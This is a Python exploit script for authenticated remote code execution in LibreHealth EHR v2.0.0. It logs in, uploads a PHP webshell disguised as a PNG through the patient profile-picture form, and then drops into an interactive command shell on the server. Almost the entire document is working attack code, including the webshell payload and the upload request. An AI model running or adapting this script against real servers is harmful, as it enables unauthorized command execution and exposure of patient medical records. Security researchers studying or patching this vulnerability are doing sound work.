# Exploit Title: LibreHealth v2.0.0 - Authenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: July 17th, 2020
# Vendor Homepage: https://librehealth.io/
# Software Link: https://github.com/LibreHealthIO/lh-ehr
# Version: 2.0.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Tested Using: Python 2.7.17
# Vulnerability Description:
#   LibreHealth v2.0.0 suffers from an authenticated file upload vulnerability allowing remote attackers to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.
import requests, sys, re
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err  = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok   = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_FILE, session):
    try:
        WEB_SHELL = SERVER_URL+'sites/default/profile_pictures/'+WEBSHELL_FILE
        print(info+"Webshell URL: "+ WEB_SHELL)
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.post(url=WEB_SHELL, data=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print(err+"Could not connect to the webshell.")
            r2.raise_for_status()
        print(ok+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        print(S[1]+F[2]+')'+F[4]+'+++++'+F[2]+'['+F[0]+'=========>'+S[0]+S[3]+'     WELCOME BOKU     '+S[0]+S[1]+'<========'+F[2]+']'+F[4]+'+++++'+F[2]+'('+F[0]+S[0])
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.post(WEB_SHELL, data=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print('\r\n'+err+'Webshell session failed. Quitting.')
        quit()

def sig():
    SIG  = S[3]+F[4]+".-----.._       ,--.\n"
    SIG += F[4]+"|  ..    >  ___ |  | .--.\n"
    SIG += F[4]+"|  |.'  ,'-\"   \"-. |/  /__   __\n"
    SIG += F[4]+"|      < "+F[2]+"   * *"+F[4]+"   \   /   \\/   \\\n"
    SIG += F[4]+"|  |>   )"+F[2]+" *  *  *"+F[4]+" /    \\        \\\n"
    SIG += F[4]+"|____..- '-."+F[2]+"*"+F[4]+"_"+F[2]+"*"+F[4]+".-'_|\\___|._..\\___\\\n"
    SIG += F[4]+"    _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
    return SIG

def formatHelp(STRING):
    return S[3]+F[2]+STRING+S[0]

def header():
    head = S[3]+F[2]+'LibreHealth v2.0.0 - Authenticated Remote Code Execution (RCE)'+S[0]
    return head

if __name__ == "__main__":
    print(header())
    print(sig())
#0 | Help
    if len(sys.argv) != 4:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL> <USERNAME> <PASSWORD>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'http://172.16.65.130/LibreEHR/' 'admin' 'admin'" % sys.argv[0])
        sys.exit(-1)
#1 | INIT
    USERNAME = "admin"
    PASSWORD = "admin"
    SERVER_URL = 'http://172.16.65.130/LibreEHR/'
    if not re.match(r".*/$", SERVER_URL):
        SERVER_URL = SERVER_URL+'/'
    LOGIN_URL  = SERVER_URL+'interface/login/login.php'
    LOGIN_POST = SERVER_URL+'interface/main/main_screen.php?auth=login&site=default'
    UPLOAD_URL = SERVER_URL+'interface/new/new_comprehensive_save.php'
#2 | Create Session
    s = requests.Session()
    get_session = s.get(LOGIN_URL, verify=False)
    if get_session.status_code == 200:
        print(ok+'Successfully connected to LibreHealth server & created session.')
        print(info+"Session Cookie: "+get_session.headers['Set-Cookie'])
    else:
        print(err+'Cannot connect to the server and create a web session.')
    login_data = {'new_login_session_management':'1', 'authProvider':'Default','authUser':USERNAME,'clearPass':PASSWORD,'languageChoice':'1'}
    print(info+"Attempting to Login to LibreHealth with credentials: "+USERNAME+":"+PASSWORD)
    auth = s.post(url=LOGIN_POST, data=login_data, verify=False, proxies=proxies)
    loginchk  = str(re.findall(r'Calendar', auth.text))
    if loginchk == "[u'Calendar', u'Calendar']":
        print(ok+"Login successful.")
    else:
        print(err+"Failed login. Check credentials.")
#3 | File Upload
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'profile_picture': 
                  (
                    'kaio-ken.php', 
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_REQUEST["telepathy"]); ?>', 
                    'image/png', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'form_cb_1':'upload','form_fname':'Sun','form_mname':'','form_lname':'Wukong','form_sex':'Male','form_status':'','form_facility':''}
    print(info+"Exploiting avatar file upload vulnerability to upload a PHP webshell")
    upload_avatar = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
#4 | Get Webshell Upload Name
    uploadchk  = str(re.findall(r'demographics\.php\?set_pid=', upload_avatar.text))
    if uploadchk == "[u'demographics.php?set_pid=']":
        print(ok+"Successfully uploaded webshell")
    else:
        print(err+"Webshell upload failed.")
    avatarFile = str(re.findall(r'demographics\.php\?set_pid=\d*\&', upload_avatar.text))
    avatarFile = re.sub('^.*demographics\.php\?set_pid=', '', avatarFile)
    avatarFile = re.sub('&.*$', '', avatarFile)
    avatarFile = avatarFile+'.php'
    print(info+"Webshell Filename: "+avatarFile)
#5 | interact with webshell for Remote Command Execution
    webshell(SERVER_URL, avatarFile, s)